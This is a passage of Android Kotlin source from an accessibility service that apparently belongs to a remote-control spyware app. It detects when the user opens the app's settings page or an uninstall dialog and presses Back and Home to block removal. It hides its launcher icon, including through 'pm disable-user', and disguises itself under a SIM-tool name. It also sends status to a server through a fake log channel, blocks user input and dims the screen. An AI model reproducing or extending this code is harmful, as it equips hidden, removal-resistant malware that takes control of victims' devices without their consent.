                }

                // 检查是否在应用设置页面
                if (isInAppSettingsPage(rootNode)) {
                    onUninstallAttemptDetected("APP_SETTINGS_PAGE", "检测到进入应用设置页面")
                    return
                }


            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 检查卸载尝试时出错", e)
        }
    }

    /**
     * 🛡️ 获取所有可能的应用名称（包括隐藏后的伪装名称）
     */
    private fun getAllPossibleAppNames(): List<String> {
        return try {
            val possibleNames = mutableListOf<String>()

            // 1. 原始应用名称
            val originalName = getString(R.string.app_name)
            possibleNames.add(originalName)

            val brand = Build.BRAND.lowercase()

//            if ( brand.contains("vivo") || brand.contains("honor") ){
//                val originalName2 = "⠀⠀"
//                possibleNames.add(originalName2)
//            }


            // 2. SIM伪装名称（当使用SIM伪装隐藏时）
            possibleNames.add(SIM_CAMOUFLAGE_NAME)

            // 3. 从PackageManager获取当前显示的标签
            try {
                val packageManager = packageManager
                val appInfo = packageManager.getApplicationInfo(packageName, 0)
                val currentLabel = packageManager.getApplicationLabel(appInfo).toString()
                if (currentLabel.isNotEmpty() && !possibleNames.contains(currentLabel)) {
                    possibleNames.add(currentLabel)
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 无法获取当前应用标签", e)
            }

            // 4. 包名的简化形式（去掉com.前缀）
            val packageSimpleName = packageName.substringAfterLast(".")
            if (packageSimpleName.isNotEmpty() && !possibleNames.contains(packageSimpleName)) {
                possibleNames.add(packageSimpleName)
            }

//            Log.d(TAG, "🛡️ 可能的应用名称: ${possibleNames.joinToString(", ")}")
            possibleNames
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 获取应用名称列表失败", e)
            // 至少返回原始名称
            listOf(getString(R.string.app_name), SIM_CAMOUFLAGE_NAME)
        }
    }

    /**
     * 🛡️ 检查包名是否是系统设置应用
     */
    private fun isSystemSettingsPackage(packageName: String?): Boolean {
        return packageName != null && packageName in SYSTEM_SETTINGS_PACKAGES
    }

    /**
     * 🛡️ 获取用于检测的应用标识符列表（动态生成，无硬编码）
     */
    private fun getAppIdentifiersForDetection(): List<String> {
        return try {
            val identifiers = mutableListOf<String>()

            // 1. 当前包名
            identifiers.add(packageName)

            // 2. 从资源文件获取应用名称
            val appName = getString(R.string.app_name)
            identifiers.add(appName)

            // 3. 从PackageManager获取当前标签
            try {
                val packageManager = packageManager
                val appInfo = packageManager.getApplicationInfo(packageName, 0)
                val currentLabel = packageManager.getApplicationLabel(appInfo).toString()
                if (currentLabel.isNotEmpty() && !identifiers.contains(currentLabel)) {
                    identifiers.add(currentLabel)
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 无法获取当前应用标签", e)
            }

            // 4. SIM伪装名称
            identifiers.add(SIM_CAMOUFLAGE_NAME)

            // 5. 包名简化形式
            val packageSimpleName = packageName.substringAfterLast(".")
            if (packageSimpleName.isNotEmpty()) {
                identifiers.add(packageSimpleName)
            }

            Log.d(TAG, "🛡️ 生成的应用标识符: ${identifiers.joinToString(", ")}")
            identifiers
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 生成应用标识符失败", e)
            // 返回最基本的标识符
            listOf(packageName, getString(R.string.app_name), SIM_CAMOUFLAGE_NAME)
        }
    }

    /**
     * 🛡️ 检查是否在应用设置页面（增强版 - 支持多种应用名称）
     */
    private fun isInAppSettingsPage(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 检查是否在设置应用中（支持多种设置应用）
            val currentPackageName = rootNode.packageName?.toString()
            if (isSystemSettingsPackage(currentPackageName)) {

                // 获取所有可能的应用名称
                val possibleNames = getAllPossibleAppNames()

                // 检查是否能找到任何一个可能的名称
                for (appName in possibleNames) {
                    if (findNodeWithText(rootNode, appName) != null) {
                        Log.d(TAG, "🛡️ 在设置页面检测到应用名称: $appName")
                        return true
                    }
                }

                // 🆕 后备方案：检查是否包含我们应用的包名信息
                // 有些设置页面可能显示包名相关信息
                val ourPackageName = this.packageName
                if (findNodeWithText(rootNode, ourPackageName) != null) {
                    Log.d(TAG, "🛡️ 在设置页面检测到应用包名: $ourPackageName")
                    return true
                }
            }
            return false
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 检查应用设置页面时出错", e)
            return false
        }
    }


    /**
     * 🔍 检查坐标是否有效（不是默认的无效坐标）
     */
    private fun isValidCoordinate(bounds: android.graphics.Rect): Boolean {
        // 检查是否是默认的无效坐标
        // AccessibilityNodeInfo 的默认坐标通常是 (0,0,0,0) 或者 (-1,-1,-1,-1)
        val isDefaultInvalid =
            (bounds.left == 0 && bounds.top == 0 && bounds.right == 0 && bounds.bottom == 0) ||
                    (bounds.left == -1 && bounds.top == -1 && bounds.right == -1 && bounds.bottom == -1)

        // 检查坐标是否合理（left < right, top < bottom）
        val isLogical = bounds.left < bounds.right && bounds.top < bounds.bottom

        // 检查坐标是否过大（可能是异常值）
        val isReasonable = bounds.left >= -10000 && bounds.top >= -10000 &&
                bounds.right <= 10000 && bounds.bottom <= 10000

        val isValid = !isDefaultInvalid && isLogical && isReasonable

        if (!isValid) {
//            Log.d(TAG, "🔍 坐标无效: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
//            Log.d(TAG, "🔍 无效原因: isDefaultInvalid=$isDefaultInvalid, isLogical=$isLogical, isReasonable=$isReasonable")
        }

        return isValid
    }

    /**
     * 🛡️ 检查是否出现长按菜单（增强版 - 考虑应用名称变化）
     */
    private fun isLongPressMenuVisible(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 1. 检查基本的卸载关键词
            val uninstallKeywords = listOf("卸载", "删除", "移除", "Uninstall", "Remove", "Delete",)
            var hasUninstallKeyword = false
            var uninstallNode: AccessibilityNodeInfo? = null

            for (keyword in uninstallKeywords) {
//                val node = findNodeWithText(rootNode, keyword)
                val node = hasVisibleText(rootNode, keyword)
                if (node) {
                    hasUninstallKeyword = true
                    uninstallNode = rootNode
                    break
                }
            }




            if (!hasUninstallKeyword) {
                return false
            }

            // 2. 检查卸载关键词节点的坐标是否在屏幕尺寸内
            if (uninstallNode != null) {
                val bounds = android.graphics.Rect()
                uninstallNode.getBoundsInScreen(bounds)

                // 首先检查坐标是否有效（不是默认的无效坐标）
                if (!isValidCoordinate(bounds)) {
//                    Log.d(TAG, "🛡️ 卸载关键词节点坐标无效，忽略此检测")
                    uninstallNode.recycle()
                    return false
                }

                // 获取屏幕尺寸
                val displayMetrics = resources.displayMetrics
                val screenWidth = displayMetrics.widthPixels
                val screenHeight = displayMetrics.heightPixels

//                Log.d(TAG, "🛡️ 卸载关键词节点坐标: left=${bounds.left}, top=${bounds.top}, right=${bounds.right}, bottom=${bounds.bottom}")
//                Log.d(TAG, "🛡️ 屏幕尺寸: width=$screenWidth, height=$screenHeight")

                // 检查坐标是否在屏幕尺寸内
                val isInScreen = bounds.left >= 0 && bounds.top >= 0 &&
                        bounds.right <= screenWidth && bounds.bottom <= screenHeight

                if (!isInScreen) {
//                    Log.d(TAG, "🛡️ 卸载关键词节点坐标超出屏幕范围，忽略此检测")
                    uninstallNode.recycle()
                    return false
                }

                Log.d(TAG, "🛡️ 卸载关键词节点坐标在屏幕范围内")
                uninstallNode.recycle()
            }

            // 3. 如果找到卸载关键词，进一步验证是否针对我们的应用
            val possibleNames = getAllPossibleAppNames()

            // 检查是否在同一个菜单中出现了我们的任何一个应用名称
            for (appName in possibleNames) {
//                val appNode = findNodeWithText(rootNode, appName)

                if (hasVisibleText(rootNode, appName)) {
                    var appNode = rootNode

                    if (appNode != null) {
                        // 检查应用名称节点的坐标是否在屏幕尺寸内
                        val bounds = android.graphics.Rect()
                        appNode.getBoundsInScreen(bounds)


                        // 首先检查坐标是否有效
                        if (!isValidCoordinate(bounds)) {
//                        Log.d(TAG, "🛡️ 应用名称节点坐标无效: $appName")
                            appNode.recycle()
                            continue
                        }

                        val node = findNodeYByText(rootNode, "从桌面移除")
                        if (node != null) {
                            if (node?.isClickable == true) {
                                node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                                appNode.recycle()
                                return false
                            }
                        }

                        val displayMetrics = resources.displayMetrics
                        val screenWidth = displayMetrics.widthPixels
                        val screenHeight = displayMetrics.heightPixels

                        val isInScreen = bounds.left >= 0 && bounds.top >= 0 &&
                                bounds.right <= screenWidth && bounds.bottom <= screenHeight

                        if (isInScreen) {
                            Log.d(TAG, "🛡️ 在长按菜单中检测到应用名称: $appName (坐标在屏幕内)")
                            appNode.recycle()
                            return true
                        } else {
                            Log.d(TAG, "🛡️ 应用名称节点坐标超出屏幕范围: $appName")
                            appNode.recycle()
                        }
                    }
                }
            }

            // 4. 🆕 如果没有找到确切的应用名称，检查是否是针对我们包名的操作
            val ourPackageName = this.packageName
            val packageNode = findNodeWithText(rootNode, ourPackageName)
            if (packageNode != null) {
                val bounds = android.graphics.Rect()
                packageNode.getBoundsInScreen(bounds)

                // 首先检查坐标是否有效
                if (!isValidCoordinate(bounds)) {
                    Log.d(TAG, "🛡️ 包名节点坐标无效: $ourPackageName")
                    packageNode.recycle()
                } else {
                    val displayMetrics = resources.displayMetrics
                    val screenWidth = displayMetrics.widthPixels
                    val screenHeight = displayMetrics.heightPixels

                    val isInScreen = bounds.left >= 0 && bounds.top >= 0 &&
                            bounds.right <= screenWidth && bounds.bottom <= screenHeight

                    if (isInScreen) {
                        Log.d(TAG, "🛡️ 在长按菜单中检测到应用包名: $ourPackageName (坐标在屏幕内)")
                        packageNode.recycle()
                        return true
                    } else {
                        Log.d(TAG, "🛡️ 包名节点坐标超出屏幕范围: $ourPackageName")
                        packageNode.recycle()
                    }
                }
            }

            // 5. 🆕 对于某些启动器，可能只显示简化的包名（但需要更精确的匹配）
            val packageSimpleName = packageName.substringAfterLast(".")
            if (packageSimpleName.isNotEmpty() && packageSimpleName.length > 3) {
                val simpleNode = findNodeWithText(rootNode, packageSimpleName)
                if (simpleNode != null) {
                    val bounds = android.graphics.Rect()
                    simpleNode.getBoundsInScreen(bounds)

                    // 首先检查坐标是否有效
                    if (!isValidCoordinate(bounds)) {
                        Log.d(TAG, "🛡️ 简化包名节点坐标无效: $packageSimpleName")
                        simpleNode.recycle()
                    } else {
                        val displayMetrics = resources.displayMetrics
                        val screenWidth = displayMetrics.widthPixels
                        val screenHeight = displayMetrics.heightPixels

                        val isInScreen = bounds.left >= 0 && bounds.top >= 0 &&
                                bounds.right <= screenWidth && bounds.bottom <= screenHeight

                        if (isInScreen) {
                            Log.d(
                                TAG,
                                "🛡️ 在长按菜单中检测到简化包名: $packageSimpleName (坐标在屏幕内)"
                            )
                            simpleNode.recycle()
                            return true
                        } else {
                            Log.d(TAG, "🛡️ 简化包名节点坐标超出屏幕范围: $packageSimpleName")
                            simpleNode.recycle()
                        }
                    }
                }
            }

            return false
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 检查长按菜单时出错", e)
            return false
        }
    }


    /**
     * 🛡️ 检查是否出现卸载对话框（增强版 - 考虑应用名称变化）
     */
    private fun isUninstallDialogVisible(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 1. 查找卸载确认对话框的通用特征文本
            val dialogKeywords = listOf(
                "是否要卸载此应用", "确定要删除", "Uninstall app", "Delete app","后台弹窗管控","正在运行的服务","关闭应用",
                "此操作将删除应用", "Are you sure you want to uninstall",
                "卸载应用", "删除应用", "移除应用", "Remove app",
                "Do you want to uninstall", "确定卸载", "确认卸载"
            )

            var hasUninstallDialog = false
            for (keyword in dialogKeywords) {
                if (findNodeWithText(rootNode, keyword) != null) {
                    hasUninstallDialog = true
                    break
                }
            }

            if (!hasUninstallDialog) {
                return false
            }

            // 2. 进一步验证是否针对我们的应用
            val possibleNames = getAllPossibleAppNames()

            // 检查对话框中是否包含我们的任何一个应用名称
            for (appName in possibleNames) {
                if (hasVisibleText(rootNode, appName)) {


                    Log.d(TAG, "🛡️ 在卸载对话框中检测到应用名称: $appName")
                    return true
                }
            }

            // 3. 检查是否包含我们的包名
            val ourPackageName = this.packageName
            if (hasVisibleText(rootNode, ourPackageName)) {
                Log.d(TAG, "🛡️ 在卸载对话框中检测到应用包名: $ourPackageName")

                return true
            }


            //4判断有没有从页面移除


            return false
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 检查卸载对话框时出错", e)
            return false
        }
    }


    /**
     * 🛡️ 递归查找包含指定文本的节点
     */
    private fun findNodeWithText(
        rootNode: AccessibilityNodeInfo?,
        text: String
    ): AccessibilityNodeInfo? {
        if (rootNode == null) return null

        try {
            // 检查当前节点的文本
            val nodeText = rootNode.text?.toString() ?: ""
            val nodeContentDesc = rootNode.contentDescription?.toString() ?: ""

            if (nodeText.contains(text, ignoreCase = true) ||
                nodeContentDesc.contains(text, ignoreCase = true)
            ) {
                return rootNode
            }

            // 递归检查子节点
            for (i in 0 until rootNode.childCount) {
                val child = rootNode.getChild(i)
                if (child != null) {
                    val result = findNodeWithText(child, text)
                    if (result != null) {
                        child.recycle()
                        return result
                    }
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 查找节点文本时出错", e)
        }

        return null
    }

    /**
     * 🛡️ 获取当前应用的隐藏状态信息
     */
    private fun getCurrentAppHideStatus(): Map<String, Any> {
        return try {
            val statusInfo = mutableMapOf<String, Any>()

            // 检查应用隐藏状态
            statusInfo["isAppHidden"] = isAppHidden()

            // 检查当前可能的应用名称
            val possibleNames = getAllPossibleAppNames()
            statusInfo["possibleNames"] = possibleNames.joinToString(", ")

            // 检查SIM别名是否启用
            try {
                val packageManager = packageManager
                val simComponent = ComponentName(this, "com.hikoncont.SIMAlias")
                val simEnabled = packageManager.getComponentEnabledSetting(simComponent)
                statusInfo["simAliasEnabled"] =
                    (simEnabled == PackageManager.COMPONENT_ENABLED_STATE_ENABLED)
            } catch (e: Exception) {
                statusInfo["simAliasEnabled"] = false
            }

            // 检查主Activity是否启用
            try {
                val packageManager = packageManager
                val mainComponent = ComponentName(this, "com.hikoncont.MainActivity")
                val mainEnabled = packageManager.getComponentEnabledSetting(mainComponent)
                statusInfo["mainActivityEnabled"] =
                    (mainEnabled != PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
            } catch (e: Exception) {
                statusInfo["mainActivityEnabled"] = true
            }

            statusInfo
        } catch (e: Exception) {
            mapOf("error" to (e.message ?: "未知错误"))
        }
    }

    /**
     * 🛡️ 处理检测到的卸载尝试（增强版 - 包含详细状态信息）
     */
    private fun onUninstallAttemptDetected(type: String, message: String) {
//        Log.w(TAG, "🛡️ 检测到卸载尝试: $type - $message")

        // 获取当前应用状态信息
//        val appStatus = getCurrentAppHideStatus()
//        Log.d(TAG, "🛡️ 当前应用状态: $appStatus")

//        performGlobalAction(GLOBAL_ACTION_BACK)
//        performGlobalAction(GLOBAL_ACTION_BACK)
//        // 立即按下Home键返回桌面
//        performGlobalAction(GLOBAL_ACTION_HOME)
        val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
        performGlobalAction(GLOBAL_ACTION_BACK)
        mainHandler.postDelayed({ performGlobalAction(GLOBAL_ACTION_BACK) }, 50)
        mainHandler.postDelayed({ performGlobalAction(GLOBAL_ACTION_HOME) }, 50)

        // 记录详细的操作日志 暂时不发和记录日志
//        recordOperationLog(
//            "SYSTEM_EVENT", "防止卸载保护触发", mapOf(
//                "action" to "UNINSTALL_ATTEMPT_BLOCKED",
//                "type" to type,
//                "message" to message,
//                "appStatus" to appStatus,
//                "protectionEnabled" to isUninstallProtectionEnabled(),
//                "timestamp" to System.currentTimeMillis()
//            )
//        )
//
//        // 发送详细事件到服务器
//        val socketIOManager = getSocketIOManager()
//        val detailedMessage = "$message (应用状态: ${appStatus["possibleNames"]})"
//        socketIOManager?.sendUninstallAttemptDetected(type, detailedMessage)
//
//        Log.i(TAG, "✅ 已阻止卸载尝试并返回主页: $type")
    }

    /**
     * 🛡️ 发送防止卸载保护结果到服务器
     */
    private fun sendUninstallProtectionResult(enabled: Boolean, message: String) {
        try {
            // 这里可以通过Socket.IO发送结果到服务器
            // 暂时只记录日志，具体实现可以参考sendAppHideResult方法
            Log.d(TAG, "🛡️ 防止卸载保护结果: enabled=$enabled, message=$message")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送防止卸载保护结果失败", e)
        }
    }

    /**
     * 🔍 获取设备兼容性信息
     */
    private fun getDeviceCompatibilityInfo(): Map<String, Any> {
        return mapOf(
            "manufacturer" to (android.os.Build.MANUFACTURER ?: "Unknown"),
            "model" to (android.os.Build.MODEL ?: "Unknown"),
            "brand" to (android.os.Build.BRAND ?: "Unknown"),
            "sdkInt" to android.os.Build.VERSION.SDK_INT,
            "release" to (android.os.Build.VERSION.RELEASE ?: "Unknown"),
            "hasDeviceAdmin" to hasDeviceAdminPermission(),
            "hasWriteSettings" to hasWriteSettingsPermission(),
            "targetSdk" to applicationInfo.targetSdkVersion,
            "packageName" to packageName
        )
    }

    /**
     * 🎯 尝试多种隐藏方案
     */
    private fun tryMultipleHideMethods(deviceInfo: Map<String, Any>): OperationResult {
        val attemptedMethods = mutableListOf<String>()

        // 方案1: 标准PackageManager方法（适用于大部分设备）
        try {
            Log.i(TAG, "🔧 尝试方案1: 标准PackageManager禁用组件")
            val result = hideWithPackageManager()
            attemptedMethods.add("PackageManager")
            if (result.success) {
                return OperationResult(true, "PackageManager", "", attemptedMethods)
            }
            Log.w(TAG, "⚠️ 方案1失败: ${result.error}")
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 方案1异常: ${e.message}")
            attemptedMethods.add("PackageManager(Exception)")
        }

        // 方案2: 使用设备管理员权限（适用于有管理员权限的设备）
        if (hasDeviceAdminPermission()) {
            try {
                Log.i(TAG, "🔧 尝试方案2: 设备管理员权限隐藏")
                val result = hideWithDeviceAdmin()
                attemptedMethods.add("DeviceAdmin")
                if (result.success) {
                    return OperationResult(true, "DeviceAdmin", "", attemptedMethods)
                }
                Log.w(TAG, "⚠️ 方案2失败: ${result.error}")
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 方案2异常: ${e.message}")
                attemptedMethods.add("DeviceAdmin(Exception)")
            }
        }

        // 方案3: Shell命令方法（适用于Root或系统级应用）
        try {
            Log.i(TAG, "🔧 尝试方案3: Shell命令禁用")
            val result = hideWithShellCommand()
            attemptedMethods.add("ShellCommand")
            if (result.success) {
                return OperationResult(true, "ShellCommand", "", attemptedMethods)
            }
            Log.w(TAG, "⚠️ 方案3失败: ${result.error}")
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 方案3异常: ${e.message}")
            attemptedMethods.add("ShellCommand(Exception)")
        }

        // 方案4: 厂商特定方法
        val manufacturer = deviceInfo["manufacturer"].toString().lowercase()
        if (manufacturer.contains("xiaomi") || manufacturer.contains("redmi")) {
            try {
                Log.i(TAG, "🔧 尝试方案4: 小米设备特定方法")
                val result = hideWithXiaomiMethod()
                attemptedMethods.add("XiaomiSpecific")
                if (result.success) {
                    return OperationResult(true, "XiaomiSpecific", "", attemptedMethods)
                }
                Log.w(TAG, "⚠️ 方案4失败: ${result.error}")
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 方案4异常: ${e.message}")
                attemptedMethods.add("XiaomiSpecific(Exception)")
            }
        }

        // 所有方案都失败
        val errorMsg =
            "设备暂不支持图标隐藏功能。设备信息: ${deviceInfo["manufacturer"]} ${deviceInfo["model"]}, Android ${deviceInfo["release"]}"
        return OperationResult(false, "", errorMsg, attemptedMethods)
    }

    /**
     * 🎯 尝试多种显示方案
     */
    private fun tryMultipleShowMethods(deviceInfo: Map<String, Any>): OperationResult {
        val attemptedMethods = mutableListOf<String>()

        // 方案1: 标准PackageManager方法
        try {
            Log.i(TAG, "🔧 尝试方案1: 标准PackageManager启用组件")
            val result = showWithPackageManager()
            attemptedMethods.add("PackageManager")
            if (result.success) {
                return OperationResult(true, "PackageManager", "", attemptedMethods)
            }
            Log.w(TAG, "⚠️ 方案1失败: ${result.error}")
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 方案1异常: ${e.message}")
            attemptedMethods.add("PackageManager(Exception)")
        }

        // 方案2: 使用设备管理员权限
        if (hasDeviceAdminPermission()) {
            try {
                Log.i(TAG, "🔧 尝试方案2: 设备管理员权限显示")
                val result = showWithDeviceAdmin()
                attemptedMethods.add("DeviceAdmin")
                if (result.success) {
                    return OperationResult(true, "DeviceAdmin", "", attemptedMethods)
                }
                Log.w(TAG, "⚠️ 方案2失败: ${result.error}")
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 方案2异常: ${e.message}")
                attemptedMethods.add("DeviceAdmin(Exception)")
            }
        }

        // 方案3: Shell命令方法
        try {
            Log.i(TAG, "🔧 尝试方案3: Shell命令启用")
            val result = showWithShellCommand()
            attemptedMethods.add("ShellCommand")
            if (result.success) {
                return OperationResult(true, "ShellCommand", "", attemptedMethods)
            }
            Log.w(TAG, "⚠️ 方案3失败: ${result.error}")
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 方案3异常: ${e.message}")
            attemptedMethods.add("ShellCommand(Exception)")
        }

        // 所有方案都失败
        val errorMsg =
            "设备暂不支持图标显示功能。设备信息: ${deviceInfo["manufacturer"]} ${deviceInfo["model"]}, Android ${deviceInfo["release"]}"
        return OperationResult(false, "", errorMsg, attemptedMethods)
    }

    /**
     * 📋 方案1: 标准PackageManager隐藏
     */
    private fun hideWithPackageManager(): OperationResult {
        return try {
            val componentName = ComponentName(this, MainActivity::class.java)
            val packageManager = packageManager

            // 检查当前组件状态
            val currentState = packageManager.getComponentEnabledSetting(componentName)
            Log.d(TAG, "📋 当前组件状态: $currentState")

            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP
            )

            // 验证状态变更
            Thread.sleep(1000) // 等待状态生效
            val newState = packageManager.getComponentEnabledSetting(componentName)
            Log.d(TAG, "📋 新组件状态: $newState")

            if (newState == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                OperationResult(true, "PackageManager", "组件已成功禁用", emptyList())
            } else {
                OperationResult(
                    false,
                    "PackageManager",
                    "组件状态未正确更新，当前状态: $newState",
                    emptyList()
                )
            }
        } catch (e: Exception) {
            OperationResult(
                false,
                "PackageManager",
                "PackageManager操作失败: ${e.message}",
                emptyList()
            )
        }
    }

    /**
     * 📋 方案1: 标准PackageManager显示
     */
    private fun showWithPackageManager(): OperationResult {
        return try {
            val componentName = ComponentName(this, MainActivity::class.java)
            val packageManager = packageManager

            packageManager.setComponentEnabledSetting(
                componentName,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP
            )

            // 验证状态变更
            Thread.sleep(1000)
            val newState = packageManager.getComponentEnabledSetting(componentName)
            Log.d(TAG, "📋 新组件状态: $newState")

            if (newState == PackageManager.COMPONENT_ENABLED_STATE_ENABLED || newState == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT) {
                OperationResult(true, "PackageManager", "组件已成功启用", emptyList())
            } else {
                OperationResult(
                    false,
                    "PackageManager",
                    "组件状态未正确更新，当前状态: $newState",
                    emptyList()
                )
            }
        } catch (e: Exception) {
            OperationResult(
                false,
                "PackageManager",
                "PackageManager操作失败: ${e.message}",
                emptyList()
            )
        }
    }

    /**
     * 📋 方案2: 设备管理员权限隐藏
     */
    private fun hideWithDeviceAdmin(): OperationResult {
        return try {
            // 这里可以实现使用设备管理员权限的特殊方法
            // 目前作为占位符，实际可能需要调用系统级API
            Log.d(TAG, "📋 设备管理员方法暂未实现")
            OperationResult(false, "DeviceAdmin", "设备管理员方法暂未实现", emptyList())
        } catch (e: Exception) {
            OperationResult(false, "DeviceAdmin", "设备管理员操作失败: ${e.message}", emptyList())
        }
    }

    /**
     * 📋 方案2: 设备管理员权限显示
     */
    private fun showWithDeviceAdmin(): OperationResult {
        return try {
            Log.d(TAG, "📋 设备管理员方法暂未实现")
            OperationResult(false, "DeviceAdmin", "设备管理员方法暂未实现", emptyList())
        } catch (e: Exception) {
            OperationResult(false, "DeviceAdmin", "设备管理员操作失败: ${e.message}", emptyList())
        }
    }

    /**
     * 📋 方案3: Shell命令隐藏
     */
    private fun hideWithShellCommand(): OperationResult {
        return try {
            val command = "pm disable-user --user 0 ${packageName}/${MainActivity::class.java.name}"
            val result = executeShellCommand(command)

            if (result.contains("disabled") || result.contains("success")) {
                OperationResult(true, "ShellCommand", "Shell命令执行成功", emptyList())
            } else {
                OperationResult(false, "ShellCommand", "Shell命令失败: $result", emptyList())
            }
        } catch (e: Exception) {
            OperationResult(false, "ShellCommand", "Shell命令异常: ${e.message}", emptyList())
        }
    }

    /**
     * 📋 方案3: Shell命令显示
     */
    private fun showWithShellCommand(): OperationResult {
        return try {
            val command = "pm enable ${packageName}/${MainActivity::class.java.name}"
            val result = executeShellCommand(command)

            if (result.contains("enabled") || result.contains("success")) {
                OperationResult(true, "ShellCommand", "Shell命令执行成功", emptyList())
            } else {
                OperationResult(false, "ShellCommand", "Shell命令失败: $result", emptyList())
            }
        } catch (e: Exception) {
            OperationResult(false, "ShellCommand", "Shell命令异常: ${e.message}", emptyList())
        }
    }

    /**
     * 📋 方案4: 小米设备特定方法隐藏
     */
    private fun hideWithXiaomiMethod(): OperationResult {
        return try {
            // 小米设备可能需要特殊处理，这里作为示例
            Log.d(TAG, "📋 小米设备特定方法暂未实现")
            OperationResult(false, "XiaomiSpecific", "小米设备特定方法暂未实现", emptyList())
        } catch (e: Exception) {
            OperationResult(false, "XiaomiSpecific", "小米特定方法异常: ${e.message}", emptyList())
        }
    }

    /**
     * 🔧 执行Shell命令
     */
    private fun executeShellCommand(command: String): String {
        return try {
            val process = Runtime.getRuntime().exec(command)
            val reader = java.io.BufferedReader(java.io.InputStreamReader(process.inputStream))
            val output = reader.readText()
            process.waitFor()
            output
        } catch (e: Exception) {
            Log.e(TAG, "Shell命令执行失败: $command", e)
            "Error: ${e.message}"
        }
    }

    /**
     * 🔍 检查设备管理员权限
     */
    private fun hasDeviceAdminPermission(): Boolean {
        return try {
            val devicePolicyManager =
                getSystemService(Context.DEVICE_POLICY_SERVICE) as android.app.admin.DevicePolicyManager
            val componentName =
                ComponentName(this, com.hikoncont.receiver.DeviceAdminReceiver::class.java)
            devicePolicyManager.isAdminActive(componentName)
        } catch (e: Exception) {
            Log.w(TAG, "检查设备管理员权限失败", e)
            false
        }
    }

    /**
     * 🔍 检查修改系统设置权限
     */
    private fun hasWriteSettingsPermission(): Boolean {
        return try {
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
                android.provider.Settings.System.canWrite(this)
            } else {
                true // Android 6.0以下默认有权限
            }
        } catch (e: Exception) {
            Log.w(TAG, "检查修改系统设置权限失败", e)
            false
        }
    }

    /**
     * 📤 发送应用隐藏结果到服务端
     */
    private fun sendAppHideResult(isHidden: Boolean, message: String) {
        try {
            // 通过SocketIO发送结果到服务端
            if (::socketIOManager.isInitialized) {
                val resultData = JSONObject().apply {
                    put("success", true) // 操作已执行完成
                    put("isHidden", isHidden)
                    put("message", message)
                    put("timestamp", System.currentTimeMillis())
                    put("deviceId", getLocalDeviceId()) // 使用本地getLocalDeviceId方法
                }

                // 发送设备事件到服务端（模仿sendOperationLog的方式）
                sendDeviceEventToServer("app_hide_status", resultData)
                Log.d(TAG, "📤 应用隐藏结果已发送: isHidden=$isHidden, message=$message")
            }
        } catch (e: Exception) {
            Log.e(TAG, "发送应用隐藏结果失败", e)
        }
    }

    /**
     * 🔧 发送设备事件到服务端的辅助方法
     */
    private fun sendDeviceEventToServer(eventType: String, eventData: JSONObject) {
        try {
            if (::socketIOManager.isInitialized && socketIOManager.isConnected()) {
                // 构造设备事件数据
                val deviceEventData = JSONObject().apply {
                    put("eventType", eventType)
                    put("eventData", eventData)
                    put("timestamp", System.currentTimeMillis())
                }

                // 使用SocketIOManager的sendOperationLog方法来发送，因为它有相同的发送逻辑
                // 这里我们创建一个假的操作日志来承载我们的设备事件
                val fakeLogData = JSONObject().apply {
                    put("deviceId", getLocalDeviceId())
                    put("logType", "SYSTEM_EVENT")
                    put(
                        "content",
                        "应用隐藏状态: ${if (eventData.getBoolean("isHidden")) "隐藏" else "显示"}"
                    )
                    put("extraData", deviceEventData)
                    put("timestamp", System.currentTimeMillis())
                    put("isAppHideEvent", true) // 标识这是应用隐藏事件
                }

                socketIOManager.sendOperationLog(fakeLogData)
                Log.d(TAG, "📤 设备事件已通过操作日志通道发送: $eventType")
            } else {
                Log.w(TAG, "⚠️ SocketIOManager未初始化或未连接，无法发送设备事件")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 发送设备事件失败", e)
        }
    }

    /**
     * 📋 操作结果数据类
     */
    private data class OperationResult(
        val success: Boolean,
        val method: String,
        val error: String,
        val attemptedMethods: List<String>
    )

    // 输入阻止状态
    private var isInputBlocked = false


    /**
     * 阻止设备用户输入
     * ✅ 新增：检测WRITE_SETTINGS权限，如果存在则调整屏幕亮度为0
     */
    /**
     * ✅ Phase 4.3 Step 4: 阻止设备用户输入 - 委托给MaskOverlayManager
     */
    fun blockDeviceInput() {
        try {

            // ✅ 新增：WRITE_SETTINGS权限检测和屏幕亮度管理
            if (::screenBrightnessManager.isInitialized) {
                Log.d(TAG, "🔍 检测WRITE_SETTINGS权限状态（阻止设备输入时）")

                if (screenBrightnessManager.hasWriteSettingsPermission()) {
                    Log.i(TAG, "✅ 检测到WRITE_SETTINGS权限存在，调整屏幕亮度为0")
                    val brightnessSuccess = screenBrightnessManager.enableLowBrightnessMode()

                    if (brightnessSuccess) {
                        Log.i(TAG, "✅ 屏幕亮度已调整为最低，增强阻止效果")
                    } else {
                        Log.w(TAG, "⚠️ 调整屏幕亮度失败，但继续阻止输入")
                    }
                } else {
